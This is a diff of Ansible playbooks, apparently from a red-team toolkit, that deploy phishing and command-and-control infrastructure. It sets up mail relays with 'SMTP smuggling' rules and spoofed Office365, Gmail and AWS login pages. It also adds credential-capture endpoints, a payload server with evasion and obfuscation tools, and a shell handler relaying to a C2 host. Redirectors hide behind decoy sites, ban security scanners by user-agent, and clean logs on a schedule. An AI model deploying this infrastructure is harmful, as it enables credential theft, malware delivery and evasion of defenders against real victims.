blockinfile:
path: /etc/dovecot/conf.d/10-master.conf
insertafter: '^service auth {'
block: |
# Postfix smtp-auth
unix_listener /var/spool/postfix/private/auth {
mode = 0660
user = postfix
group = postfix
}
- name: Set Dovecot auth_mechanisms
lineinfile:
path: /etc/dovecot/conf.d/10-auth.conf
regexp: '^auth_mechanisms'
line: 'auth_mechanisms = plain login'
- name: Create Dovecot password file for SASL authentication
file:
path: /etc/dovecot/passwd
state: touch
mode: '0600'
owner: dovecot
group: dovecot
- name: Add SMTP auth user to Dovecot
lineinfile:
path: /etc/dovecot/passwd
line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
- name: Disable system auth and use passwd-file
lineinfile:
path: /etc/dovecot/conf.d/10-auth.conf
regexp: '^!include auth-system.conf.ext'
line: '#!include auth-system.conf.ext'
- name: Add auth-passwdfile configuration
blockinfile:
path: /etc/dovecot/conf.d/10-auth.conf
insertafter: '^auth_mechanisms ='
block: |
passdb {
driver = passwd-file
args = scheme=sha512_crypt /etc/dovecot/passwd
}
userdb {
driver = static
args = uid=vmail gid=vmail home=/var/vmail/%u
}
- name: Create vmail group
group:
name: vmail
gid: 5000
state: present
- name: Create vmail user
user:
name: vmail
uid: 5000
group: vmail
create_home: no
- name: Create vmail directory structure
file:
path: /var/vmail
state: directory
owner: vmail
group: vmail
mode: 0700
- name: Restart Postfix
service:
name: postfix
state: restarted
- name: Restart Dovecot
service:
name: dovecot
state: restarted
+151
View File
@@ -0,0 +1,151 @@
---
# Configure MTA Front server for email relay and SMTP smuggling
- name: Update system packages
apt:
update_cache: yes
upgrade: dist
- name: Install MTA packages
apt:
name:
- postfix
- postfix-pcre
- dovecot-core
- dovecot-imapd
- opendkim
- opendkim-tools
- python3-pip
- python3-venv
- nginx
- certbot
- python3-certbot-nginx
- dnsutils
- swaks
- telnet
state: present
- name: Configure Postfix for MTA fronting
template:
src: "../templates/phishing/postfix-mta-front.j2"
dest: /etc/postfix/main.cf
backup: yes
notify: restart postfix
- name: Configure Postfix master.cf for advanced relaying
blockinfile:
path: /etc/postfix/master.cf
block: |
# SMTP smuggling and advanced relay configurations
587 inet n - y - - smtpd
-o syslog_name=postfix/submission
-o smtpd_tls_security_level=encrypt
-o smtpd_sasl_auth_enable=yes
-o smtpd_tls_wrappermode=no
-o smtpd_client_restrictions=permit_sasl_authenticated,reject
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
-o milter_macro_daemon_name=ORIGINATING
# SMTP smuggling support
cleanup unix n - y - 0 cleanup
-o header_checks=pcre:/etc/postfix/header_checks
-o nested_header_checks=pcre:/etc/postfix/nested_header_checks
- name: Create SMTP smuggling header checks
copy:
dest: /etc/postfix/header_checks
content: |
# SMTP smuggling techniques
/^Content-Transfer-Encoding:\s*7bit/i REPLACE Content-Transfer-Encoding: 8bit
/^Content-Type:\s*text\/plain/i REPLACE Content-Type: text/html
mode: '0644'
notify:
- reload postfix
- postmap header_checks
- name: Create nested header checks for advanced smuggling
copy:
dest: /etc/postfix/nested_header_checks
content: |
# Advanced SMTP smuggling patterns
/^\s*<script/i IGNORE
/^\s*<iframe/i IGNORE
mode: '0644'
notify:
- reload postfix
- postmap nested_header_checks
- name: Configure DKIM for domain reputation
include_tasks: ../tasks/configure_mail.yml
- name: Create relay authentication
copy:
dest: /etc/postfix/sasl_passwd
content: |
{{ phishing_domain }} {{ smtp_relay_user }}:{{ smtp_relay_pass }}
mode: '0600'
owner: root
group: root
notify:
- postmap sasl_passwd
- restart postfix
- name: Configure transport maps for backend routing
copy:
dest: /etc/postfix/transport
content: |
{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
.{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
mode: '0644'
notify:
- postmap transport
- restart postfix
- name: Install Python SMTP testing tools
pip:
name:
- smtplib-extended
- email-validator
- faker
state: present
- name: Create SMTP smuggling test script
template:
src: "../templates/phishing/smtp-smuggling-test.py.j2"
dest: /root/Tools/smtp-smuggling-test.py
mode: '0755'
- name: Create email reputation monitoring script
template:
src: "../templates/phishing/reputation-monitor.sh.j2"
dest: /root/Tools/reputation-monitor.sh
mode: '0755'
- name: Set up log monitoring for deliverability
cron:
name: "Monitor email deliverability"
minute: "*/15"
job: "/root/Tools/reputation-monitor.sh >> /var/log/reputation.log 2>&1"
handlers:
- name: restart postfix
service:
name: postfix
state: restarted
- name: reload postfix
service:
name: postfix
state: reloaded
- name: postmap header_checks
command: postmap /etc/postfix/header_checks
- name: postmap nested_header_checks
command: postmap /etc/postfix/nested_header_checks
- name: postmap sasl_passwd
command: postmap /etc/postfix/sasl_passwd
- name: postmap transport
command: postmap /etc/postfix/transport
@@ -0,0 +1,89 @@
---
# Configure payload redirector for hosting and delivering payloads
- name: Install required packages
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
state: present
update_cache: yes
- name: Create payload directories
file:
path: "{{ item }}"
state: directory
mode: '0755'
owner: www-data
group: www-data
loop:
- /var/www/payloads
- /var/www/payloads/windows
- /var/www/payloads/linux
- /var/www/payloads/macos
- /var/www/payloads/docs
- name: Configure NGINX for payload delivery
template:
src: "../templates/phishing/nginx-payload-redirector.j2"
dest: /etc/nginx/sites-available/payloads
mode: '0644'
- name: Enable payload site
file:
src: /etc/nginx/sites-available/payloads
dest: /etc/nginx/sites-enabled/payloads
state: link
- name: Create payload sync script
template:
src: "../templates/phishing/sync_payloads.sh.j2"
dest: /root/Tools/sync_payloads.sh
mode: '0700'
- name: Set up payload sync timer
block:
- name: Create systemd service
copy:
content: |
[Unit]
Description=Payload Sync Service
After=network.target
[Service]
Type=oneshot
ExecStart=/root/Tools/sync_payloads.sh
User=root
[Install]
WantedBy=multi-user.target
dest: /etc/systemd/system/payload-sync.service
- name: Create systemd timer
copy:
content: |
[Unit]
Description=Payload Sync Timer
Requires=payload-sync.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=15min
Persistent=true
[Install]
WantedBy=timers.target
dest: /etc/systemd/system/payload-sync.timer
- name: Enable and start timer
systemd:
name: payload-sync.timer
state: started
enabled: yes
daemon_reload: yes
- name: Configure firewall rules
include_tasks: security_hardening.yml
vars:
server_role: "payload_redirector"
@@ -0,0 +1,78 @@
---
# Configure payload server for creating and hosting malicious payloads
- name: Install payload generation tools
apt:
name:
- mingw-w64
- golang
- python3-pip
- upx-ucl
- osslsigncode
- mono-complete
- wine64
- wine32
state: present
update_cache: yes
- name: Create payload directories
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
loop:
- /root/Tools/payloads
- /root/Tools/payloads/templates
- /root/Tools/payloads/output
- /root/Tools/payloads/scripts
- name: Install Python payload tools
pip:
name:
- pycryptodome
- pyinstaller
- py2exe
state: present
- name: Clone payload generation tools
git:
repo: "{{ item.repo }}"
dest: "{{ item.dest }}"
loop:
- { repo: "https://github.com/Binject/go-donut", dest: "/root/Tools/go-donut" }
- { repo: "https://github.com/optiv/ScareCrow", dest: "/root/Tools/ScareCrow" }
- { repo: "https://github.com/TheWover/donut", dest: "/root/Tools/donut" }
- name: Build Go tools
shell: |
cd {{ item }} && go build
args:
creates: "{{ item }}/{{ item | basename }}"
loop:
- /root/Tools/go-donut
- /root/Tools/ScareCrow
- name: Deploy payload generation scripts
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0700'
loop:
- { src: "../templates/phishing/generate_doc_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_docs.sh" }
- { src: "../templates/phishing/generate_exe_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_exes.sh" }
- { src: "../templates/phishing/payload_obfuscator.py.j2", dest: "/root/Tools/payloads/scripts/obfuscate.py" }
- name: Create payload hosting service
template:
src: "../templates/phishing/payload-server.service.j2"
dest: /etc/systemd/system/payload-server.service
mode: '0644'
- name: Start payload server
systemd:
name: payload-server
state: started
enabled: yes
daemon_reload: yes
@@ -0,0 +1,157 @@
---
# Configure phishing redirector with advanced evasion techniques
- name: Install packages for phishing redirector
apt:
name:
- nginx
- nginx-extras
- certbot
- python3-certbot-nginx
- socat
- netcat-openbsd
- jq
- curl
- geoip-database
- libgeoip1
- php-fpm
- php-geoip
state: present
- name: Configure advanced nginx for phishing redirector
template:
src: "../templates/phishing/nginx-phishing-redirector.j2"
dest: /etc/nginx/sites-available/phishing-redirector
mode: '0644'
notify: restart nginx
- name: Enable phishing redirector site
file:
src: /etc/nginx/sites-available/phishing-redirector
dest: /etc/nginx/sites-enabled/phishing-redirector
state: link
notify: restart nginx
- name: Remove default nginx site
file:
path: /etc/nginx/sites-enabled/default
state: absent
notify: restart nginx
- name: Create legitimate website content
template:
src: "../templates/phishing/legitimate-website.html.j2"
dest: /var/www/html/index.html
mode: '0644'
- name: Create robots.txt for SEO legitimacy
copy:
dest: /var/www/html/robots.txt
content: |
User-agent: *
Allow: /
Sitemap: https://{{ phishing_subdomain }}.{{ phishing_domain }}/sitemap.xml
- name: Create sitemap for legitimacy
template:
src: "../templates/phishing/sitemap.xml.j2"
dest: /var/www/html/sitemap.xml
mode: '0644'
- name: Install MaxMind GeoIP for location-based filtering
get_url:
url: "https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-Country&license_key={{ maxmind_license_key | default('') }}&suffix=tar.gz"
dest: /tmp/geoip.tar.gz
when: maxmind_license_key is defined
ignore_errors: yes
- name: Create security research filtering script
template:
src: "../templates/phishing/security-filter.lua.j2"
dest: /etc/nginx/security-filter.lua
mode: '0644'
- name: Configure nginx stream module for advanced traffic analysis
template:
src: "../templates/phishing/stream-analysis.conf.j2"
dest: /etc/nginx/modules-enabled/stream-analysis.conf
mode: '0644'
- name: Create phishing campaign analytics
template:
src: "../templates/phishing/analytics.js.j2"
dest: /var/www/html/analytics.js
mode: '0644'
- name: Set up legitimate SSL certificate
shell: |
certbot --nginx -d {{ phishing_subdomain }}.{{ phishing_domain }} \
--non-interactive --agree-tos -m {{ letsencrypt_email }}
args:
creates: /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ phishing_domain }}/fullchain.pem
ignore_errors: yes
- name: Create fail2ban configuration for suspicious activity
copy:
dest: /etc/fail2ban/jail.d/phishing-protection.conf
content: |
[phishing-scanner-protection]
enabled = true
port = 80,443
filter = phishing-scanner
logpath = /var/log/nginx/access.log
maxretry = 3
bantime = 3600
findtime = 300
- name: Create fail2ban filter for security tools
copy:
dest: /etc/fail2ban/filter.d/phishing-scanner.conf
content: |
[Definition]
failregex = ^<HOST>.*"(GET|POST).*(nmap|nikto|sqlmap|burp|w3af|nessus|openvas).*"
^<HOST>.*".*User-Agent.*(scanner|bot|crawl|security|test).*"
^<HOST>.*"(GET|POST).*\.(php|asp|jsp)\?.*"
ignoreregex =
- name: Start and enable fail2ban
systemd:
name: fail2ban
state: started
enabled: yes
- name: Create traffic monitoring script
template:
src: "../templates/phishing/traffic-monitor.sh.j2"
dest: /root/Tools/traffic-monitor.sh
mode: '0755'
- name: Set up traffic monitoring cron
cron:
name: "Monitor phishing traffic"
minute: "*/5"
job: "/root/Tools/traffic-monitor.sh >> /var/log/phishing-traffic.log 2>&1"
- name: Configure rate limiting for suspicious patterns
blockinfile:
path: /etc/nginx/nginx.conf
insertbefore: "http {"
block: |
# Rate limiting zones
limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
# GeoIP configuration
geoip_country /usr/share/GeoIP/GeoIP.dat;
map $geoip_country_code $allowed_country {
default 1;
CN 0;
RU 0;
KP 0;
}
handlers:
- name: restart nginx
service:
name: nginx
state: restarted
@@ -0,0 +1,296 @@
---
# Common tasks for configuring advanced phishing server
# Supports both red team and FedRAMP compliance modes
- name: Update system packages
apt:
update_cache: yes
upgrade: dist
- name: Install base packages for phishing server
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
- postfix
- dovecot-core
- dovecot-imapd
- opendkim
- opendkim-tools
- sqlite3
- git
- curl
- wget
- jq
- unzip
- python3-pip
- python3-venv
- nodejs
- npm
- php-fpm
- php-sqlite3
- php-curl
- php-json
- swaks
- dnsutils
- net-tools
- fail2ban
state: present
- name: Create phishing tools directory
file:
path: "{{ item }}"
state: directory
mode: '0755'
owner: root
group: root
with_items:
- /root/Tools/phishing
- /root/Tools/phishing/templates
- /root/Tools/phishing/campaigns
- /root/Tools/phishing/logs
- /var/www/phishing
- /var/www/phishing/assets
- /var/www/phishing/api
- name: Set up GoPhish directory
file:
path: /root/Tools/gophish
state: directory
mode: '0755'
- name: Download latest GoPhish release
shell: |
LATEST_URL=$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')
curl -L "$LATEST_URL" -o /tmp/gophish.zip
unzip /tmp/gophish.zip -d /root/Tools/gophish
chmod +x /root/Tools/gophish/gophish
rm -f /tmp/gophish.zip
args:
creates: /root/Tools/gophish/gophish
- name: Create advanced GoPhish configuration
template:
src: "../templates/advanced-gophish-config.j2"
dest: "/root/Tools/gophish/config.json"
mode: '0600'
owner: root
group: root
- name: Create GoPhish systemd service
template:
src: "../templates/gophish.service.j2"
dest: "/etc/systemd/system/gophish.service"
mode: '0644'
owner: root
group: root
- name: Configure Postfix for outbound email
template:
src: "../templates/postfix-phishing.conf.j2"
dest: "/etc/postfix/main.cf"
backup: yes
notify: restart postfix
- name: Configure OpenDKIM for email authentication
template:
src: "../templates/opendkim-phishing.conf.j2"
dest: "/etc/opendkim.conf"
backup: yes
notify: restart opendkim
- name: Create DKIM keys directory
file:
path: "/etc/opendkim/keys/{{ phishing_domain }}"
state: directory
owner: opendkim
group: opendkim
mode: '0700'
- name: Generate DKIM keys
command: >
opendkim-genkey -D /etc/opendkim/keys/{{ phishing_domain }}
-d {{ phishing_domain }} -s phishing
args:
creates: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
- name: Set DKIM key permissions
file:
path: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
owner: opendkim
group: opendkim
mode: '0600'
- name: Create phishing landing page templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: www-data
group: www-data
with_items:
- { src: "../templates/phishing-landing-office365.html.j2", dest: "/var/www/phishing/office365.html" }
- { src: "../templates/phishing-landing-gmail.html.j2", dest: "/var/www/phishing/gmail.html" }
- { src: "../templates/phishing-landing-aws.html.j2", dest: "/var/www/phishing/aws.html" }
- { src: "../templates/phishing-landing-generic.html.j2", dest: "/var/www/phishing/generic.html" }
- name: Create credential capture API
template:
src: "../templates/credential-capture-api.php.j2"
dest: "/var/www/phishing/api/capture.php"
mode: '0644'
owner: www-data
group: www-data
- name: Create tracking pixel endpoint
template:
src: "../templates/tracking-pixel.php.j2"
dest: "/var/www/phishing/track.php"
mode: '0644'
owner: www-data
group: www-data
- name: Configure Nginx for phishing sites
template:
src: "../templates/nginx-phishing.conf.j2"
dest: "/etc/nginx/sites-available/phishing"
mode: '0644'
notify: reload nginx
- name: Enable phishing site
file:
src: /etc/nginx/sites-available/phishing
dest: /etc/nginx/sites-enabled/phishing
state: link
notify: reload nginx
- name: Create phishing campaign management scripts
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0755'
owner: root
group: root
with_items:
- { src: "../templates/campaign-launcher.sh.j2", dest: "/root/Tools/phishing/launch-campaign.sh" }
- { src: "../templates/stats-collector.sh.j2", dest: "/root/Tools/phishing/collect-stats.sh" }
- { src: "../templates/email-validator.py.j2", dest: "/root/Tools/phishing/validate-emails.py" }
- name: Create database for tracking
shell: |
sqlite3 /root/Tools/phishing/tracking.db << EOF
CREATE TABLE IF NOT EXISTS email_opens (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
recipient_email TEXT NOT NULL,
ip_address TEXT,
user_agent TEXT,
opened_at DATETIME DEFAULT CURRENT_TIMESTAMP,
location TEXT
);
CREATE TABLE IF NOT EXISTS link_clicks (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
recipient_email TEXT NOT NULL,
link_url TEXT NOT NULL,
ip_address TEXT,
user_agent TEXT,
clicked_at DATETIME DEFAULT CURRENT_TIMESTAMP,
location TEXT
);
CREATE TABLE IF NOT EXISTS credential_submissions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
recipient_email TEXT,
username TEXT,
password_hash TEXT,
ip_address TEXT,
user_agent TEXT,
submitted_at DATETIME DEFAULT CURRENT_TIMESTAMP,
location TEXT,
additional_data TEXT
);
CREATE TABLE IF NOT EXISTS campaigns (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
template TEXT NOT NULL,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
status TEXT DEFAULT 'active',
target_count INTEGER DEFAULT 0,
opened_count INTEGER DEFAULT 0,
clicked_count INTEGER DEFAULT 0,
submitted_count INTEGER DEFAULT 0
);
EOF
args:
creates: /root/Tools/phishing/tracking.db
- name: Set database permissions
file:
path: /root/Tools/phishing/tracking.db
owner: www-data
group: www-data
mode: '0644'
- name: Install Python dependencies for advanced features
pip:
name:
- requests
- beautifulsoup4
- lxml
- flask
- flask-cors
- dnspython
- python-whois
- selenium
- fake-useragent
state: present
- name: Create SSL certificate setup script
template:
src: "../templates/setup-phishing-ssl.sh.j2"
dest: "/root/Tools/phishing/setup-ssl.sh"
mode: '0755'
owner: root
group: root
- name: Create domain reputation checker
template:
src: "../templates/domain-reputation.py.j2"
dest: "/root/Tools/phishing/check-reputation.py"
mode: '0755'
owner: root
group: root
- name: Start and enable services
systemd:
name: "{{ item }}"
state: started
enabled: yes
daemon_reload: yes
with_items:
- postfix
- opendkim
- nginx
- php7.4-fpm
- gophish
handlers:
- name: restart postfix
systemd:
name: postfix
state: restarted
- name: restart opendkim
systemd:
name: opendkim
state: restarted
- name: reload nginx
systemd:
name: nginx
state: reloaded
@@ -0,0 +1,85 @@
---
# Configure phishing web server with landing pages and credential capture
- name: Install required packages
apt:
name:
- nginx
- php-fpm
- php-json
- certbot
- python3-certbot-nginx
state: present
update_cache: yes
- name: Create web directories
file:
path: "{{ item }}"
state: directory
mode: '0755'
owner: www-data
group: www-data
loop:
- /var/www/phishing
- /var/www/phishing/templates
- /var/www/phishing/static
- /var/www/phishing/captures
- /var/private/phishing_creds
- name: Deploy phishing templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: www-data
group: www-data
loop:
- { src: "../templates/phishing/phishing-landing-page.j2", dest: "/var/www/phishing/index.html" }
- { src: "../templates/phishing/email-templates/office365_login.j2", dest: "/var/www/phishing/templates/o365.html" }
- { src: "../templates/phishing/email-templates/password_expiry.j2", dest: "/var/www/phishing/templates/password.html" }
- { src: "../templates/phishing/email-templates/security_alert.j2", dest: "/var/www/phishing/templates/security.html" }
- { src: "../templates/phishing/email-templates/file_share.j2", dest: "/var/www/phishing/templates/share.html" }
- name: Deploy credential capture script
template:
src: "../templates/phishing/capture.php.j2"
dest: "/var/www/phishing/capture.php"
mode: '0640'
owner: www-data
group: www-data
- name: Configure NGINX for phishing sites
template:
src: "../templates/phishing/nginx-phishing-webserver.j2"
dest: /etc/nginx/sites-available/phishing
mode: '0644'
- name: Enable phishing site
file:
src: /etc/nginx/sites-available/phishing
dest: /etc/nginx/sites-enabled/phishing
state: link
- name: Remove default nginx site
file:
path: /etc/nginx/sites-enabled/default
state: absent
- name: Configure PHP-FPM for security
lineinfile:
path: /etc/php/7.4/fpm/php.ini
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
loop:
- { regexp: '^expose_php', line: 'expose_php = Off' }
- { regexp: '^display_errors', line: 'display_errors = Off' }
- { regexp: '^log_errors', line: 'log_errors = On' }
- name: Restart services
systemd:
name: "{{ item }}"
state: restarted
enabled: yes
loop:
- nginx
- php7.4-fpm
+457
View File
@@ -0,0 +1,457 @@
---
# Common task for configuring redirector with full encryption
# Shared across all providers
- name: Set a custom MOTD
template:
src: "../templates/motd-redirector.j2"
dest: /etc/motd
owner: root
group: root
mode: '0644'
- name: Update package cache with retries
apt:
update_cache: yes
cache_valid_time: 0
register: cache_update
until: cache_update is success
retries: 5
delay: 10
ignore_errors: no
- name: Install core packages first (high priority)
apt:
name:
- nginx
- nginx-extras
- socat
- jq
- secure-delete
state: present
update_cache: no
register: core_packages
until: core_packages is success
retries: 3
delay: 5
- name: Install network utilities with fallbacks
block:
- name: Try to install net-tools
apt:
name: net-tools
state: present
update_cache: no
register: net_tools_install
rescue:
- name: Install alternative network utilities
apt:
name:
- iproute2
- iputils-ping
- netcat-openbsd
state: present
update_cache: no
register: alt_network_tools
- name: Create net-tools compatibility aliases
copy:
dest: /usr/local/bin/netstat
content: |
#!/bin/bash
# Compatibility wrapper for netstat using ss
ss "$@"
mode: '0755'
when: alt_network_tools is success
- name: Install PHP-FPM with version handling
block:
- name: Install PHP-FPM (latest available)
apt:
name: php-fpm
state: present
update_cache: no
register: php_install
rescue:
- name: Install specific PHP version as fallback
apt:
name:
- php7.4-fpm
- php7.4-cli
state: present
update_cache: no
register: php_fallback
- name: Install certbot with dependency handling
block:
- name: Install certbot and nginx plugin
apt:
name:
- certbot
- python3-certbot-nginx
state: present
update_cache: no
register: certbot_install
rescue:
- name: Install certbot without problematic dependencies
shell: |
apt-get install -y --no-install-recommends certbot
apt-get install -y --fix-broken || true
register: certbot_manual
ignore_errors: yes
- name: Install certbot via snap as ultimate fallback
block:
- name: Install snap if not present
apt:
name: snapd
state: present
- name: Install certbot via snap
snap:
name: certbot
classic: yes
- name: Create certbot symlink
file:
src: /snap/bin/certbot
dest: /usr/bin/certbot
state: link
when: certbot_manual is failed
- name: Handle problematic Python dependencies
block:
- name: Try installing Python dependencies normally
apt:
name:
- python3-requests-toolbelt
- python3-zope.hookable
state: present
update_cache: no
register: python_deps
rescue:
- name: Install Python dependencies via pip as fallback
pip:
name:
- requests-toolbelt
- zope.hookable
state: present
register: pip_install
ignore_errors: yes
- name: Download and install packages manually if repositories are down
shell: |
cd /tmp
# Try alternative repositories
wget -q http://archive.ubuntu.com/ubuntu/pool/universe/p/python-requests-toolbelt/python3-requests-toolbelt_0.8.0-1.1_all.deb || \
wget -q http://launchpad.net/ubuntu/+archive/primary/+files/python3-requests-toolbelt_0.8.0-1.1_all.deb || true
if [ -f python3-requests-toolbelt_*.deb ]; then
dpkg -i python3-requests-toolbelt_*.deb || apt-get install -f -y
fi
when: pip_install is failed
ignore_errors: yes
- name: Verify critical packages are installed
command: "{{ item.cmd }}"
register: package_verify
failed_when: package_verify.rc != 0
loop:
- { cmd: "nginx -v", name: "nginx" }
- { cmd: "socat -V", name: "socat" }
- { cmd: "jq --version", name: "jq" }
- { cmd: "which certbot", name: "certbot" }
ignore_errors: yes
- name: Create package installation report
debug:
msg: |
C2ingRed Package Installation Status:
===================================
Core Packages: {{ 'SUCCESS' if core_packages is success else 'FAILED' }}
Network Tools: {{ 'SUCCESS' if net_tools_install is success else 'FALLBACK USED' }}
PHP-FPM: {{ 'SUCCESS' if php_install is success else 'FALLBACK USED' if php_fallback is success else 'FAILED' }}
Certbot: {{ 'SUCCESS' if certbot_install is success else 'FALLBACK USED' }}
Python Deps: {{ 'SUCCESS' if python_deps is success else 'FALLBACK ATTEMPTED' }}
Critical Services Verified:
{% for item in package_verify.results %}
- {{ item.item.name }}: {{ 'OK' if item.rc == 0 else 'MISSING' }}
{% endfor %}
- name: Force fix broken packages if any installation failed
shell: |
apt-get update --fix-missing
apt-get install -f -y
dpkg --configure -a
when: core_packages is failed or certbot_install is failed
register: fix_broken
ignore_errors: yes
- name: Final package status check and remediation
block:
- name: Check for any remaining broken packages
shell: apt-get check
register: apt_check
failed_when: false
- name: List installed packages for verification
shell: |
echo "=== INSTALLED PACKAGES ==="
dpkg -l | grep -E "(nginx|certbot|socat|jq|php)" || echo "Some packages missing"
echo "=== BROKEN PACKAGES ==="
apt-get check 2>&1 | grep -i "broken\|error" || echo "No broken packages detected"
register: final_status
- name: Display final installation status
debug:
var: final_status.stdout_lines
- name: Ensure critical services are enabled
systemd:
name: "{{ item }}"
enabled: yes
state: started
loop:
- nginx
- php7.4-fpm
ignore_errors: yes
register: service_start
- name: Create operational readiness marker
copy:
dest: /tmp/c2ingred_packages_ready
content: |
C2ingRed Package Installation Complete
Timestamp: {{ ansible_date_time.iso8601 }}
Status: {{ 'READY' if core_packages is success else 'PARTIAL' }}
mode: '0644'
- name: Create directories for operational scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /root/Tools
- /root/Tools/shell-handler
- name: Copy clean-logs.sh script
copy:
src: "../files/clean-logs.sh"
dest: /root/Tools/clean-logs.sh
mode: '0700'
owner: root
group: root
- name: Copy redirector post-install script
copy:
src: "../files/post_install_redirector.sh"
dest: "/root/Tools/post_install_redirector.sh"
mode: '0700'
owner: root
group: root
- name: Copy port randomization script
copy:
src: "../files/randomize_ports.sh"
dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
- name: Create redirector post-install instructions
copy:
content: |
================================================================
C2ingRed Redirector Post-Installation Instructions
================================================================
To complete your setup with SSL certificates, run:
/root/Tools/post_install_redirector.sh
This script will guide you through:
- Setting up Let's Encrypt certificates
- Starting required services
- Updating NGINX configuration
For enhanced OPSEC, you can also randomize ports:
/root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server.
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
mode: '0644'
owner: root
group: root
- name: Copy shell handler script
copy:
src: "../files/havoc_shell_handler.sh"
dest: /root/Tools/shell-handler/persistent-listener.sh
mode: '0700'
owner: root
group: root
- name: Configure shell handler script with C2 IP
replace:
path: /root/Tools/shell-handler/persistent-listener.sh
regexp: 'C2_HOST="127.0.0.1"'
replace: 'C2_HOST="{{ c2_ip }}"'
- name: Configure shell handler script with listening port
template:
src: "../files/havoc_shell_handler.sh"
dest: "/root/Tools/shell_handler.sh"
mode: 0755
vars:
listen_port: "{{ shell_handler_port | default(8083) }}"
- name: Create shell handler service
template:
src: "../templates/shell-handler.service.j2"
dest: /etc/systemd/system/shell-handler.service
mode: '0644'
owner: root
group: root
- name: Configure NGINX for zero-logging if enabled
template:
src: "../templates/nginx.conf.j2"
dest: /etc/nginx/nginx.conf
mode: '0644'
owner: root
group: root
when: zero_logs | bool
- name: Create payload directory
file:
path: /var/www/resources
state: directory
mode: '0755'
owner: www-data
group: www-data
- name: Include traffic flow configuration
include_tasks: "../tasks/traffic_flow_config.yml"
# Run port randomization if enabled
- name: Run port randomization if enabled
include_tasks: port_randomization.yml
when: randomize_ports | default(true) | bool
# Add just before configuring NGINX
- name: Check if snakeoil certificates exist
stat:
path: /etc/ssl/certs/ssl-cert-snakeoil.pem
register: snakeoil_cert
- name: Generate self-signed certificates if snakeoil not available
block:
- name: Create directory for self-signed certificates
file:
path: /etc/nginx/conf.d
state: directory
mode: '0755'
- name: Generate self-signed certificate
shell: |
openssl req -x509 -nodes -days 3650 -newkey rsa:2048 \
-keyout /etc/nginx/conf.d/selfsigned.key \
-out /etc/nginx/conf.d/selfsigned.crt \
-subj "/C=US/ST=State/L=City/O=Organization/CN=localhost"
args:
creates: /etc/nginx/conf.d/selfsigned.crt
when: not snakeoil_cert.stat.exists
# Configure nginx for dual HTTP/HTTPS with complete encryption
- name: Configure NGINX for secure C2 redirection
template:
src: "../templates/redirector-site.conf.j2"
dest: /etc/nginx/sites-available/default
mode: '0644'
owner: root
group: root
- name: Create legitimate-looking index.html
template:
src: "../templates/redirector-index.html.j2"
dest: /var/www/html/index.html
mode: '0644'
owner: www-data
group: www-data
- name: Create SSL certificate setup instructions
template:
src: "../templates/setup-cert.sh.j2"
dest: /root/Tools/setup-cert.sh
mode: '0700'
owner: root
group: root
- name: Configure NGINX stream module for TCP traffic
template:
src: "../templates/stream.conf.j2"
dest: /etc/nginx/modules-enabled/stream.conf
mode: '0644'
owner: root
group: root
- name: Create credential harvesting directory
file:
path: /var/www/login
state: directory
mode: '0755'
owner: www-data
group: www-data
# Create secure storage outside web root
- name: Create secure credential storage
file:
path: /var/private/creds
state: directory
mode: '0700' # Only owner access
owner: www-data
group: www-data
- name: Deploy credential harvesting page
template:
src: "../templates/fake-login.html.j2"
dest: "/var/www/login/auth.html"
mode: '0644'
owner: www-data
group: www-data
- name: Deploy credential capture script
template:
src: "../templates/capture.php.j2"
dest: "/var/www/login/process.php"
mode: '0644'
owner: www-data
group: www-data
- name: Install PHP for credential processing
apt:
name: php-fpm
state: present
update_cache: yes
- name: Start and enable shell handler service
systemd:
name: shell-handler
state: started
enabled: yes
daemon_reload: yes
- name: Set up cron job for log cleaning if zero-logs enabled
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
when: zero_logs | bool
@@ -0,0 +1,85 @@
---
# Linode/initial-infrastructure.yml
# This playbook only creates the Linode instances without trying to configure them
# This separation makes the deployment more reliable
- name: Create Linode infrastructure
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
# Default values if not provided
ssh_user: "{{ ssh_user | default('root') }}"
linode_region: "{{ linode_region | default(region_choices | random) }}"
plan: "{{ plan | default('g6-standard-2') }}"
image: "{{ image | default('linode/kali') }}"
# Determine what to deploy based on configuration
deploy_redirector: "{{ not (c2_only | default(false)) }}"
deploy_c2: "{{ not (redirector_only | default(false)) }}"
# Generate random names if not provided
redirector_name: "{{ redirector_name | default('srv-' + 100000000 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
